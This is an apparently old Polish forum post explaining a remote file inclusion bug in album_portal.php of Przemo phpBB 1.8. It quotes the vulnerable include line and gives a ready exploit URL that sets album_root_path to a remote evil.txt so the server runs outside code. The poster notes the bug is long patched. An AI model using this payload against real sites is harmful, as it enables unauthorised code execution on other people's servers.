Przykład na Przemo by 1.8:
np w pliku: album_portal.php
poszukaj takiegokodu:
Kod:
$album_root_path = $phpbb_root_path . 'album_mod/';
include($album_root_path . 'album_common.'.$phpEx);
No i tutaj jest bład bo include nie ma przypisanej odpowiedniej wartosci no i dzieki tewmu mozemy przypisac naszą własną wartość.
Kod:
include($album_root_path . 'album_common.'.$phpEx);
własnie tutaj jest dokładnie bład
a wykożystac mozemy to w ten sposób :]
album_portal.php?album_root_path=http://twoja.www.pl/evil.txt?
PS bug załatany juz dawno
PS2 jak jakis admin dojdzie ze za duzo mówie to delete my post
PS3 jak nie dostane pochwały(a nawet 8
) to masz wj..... :]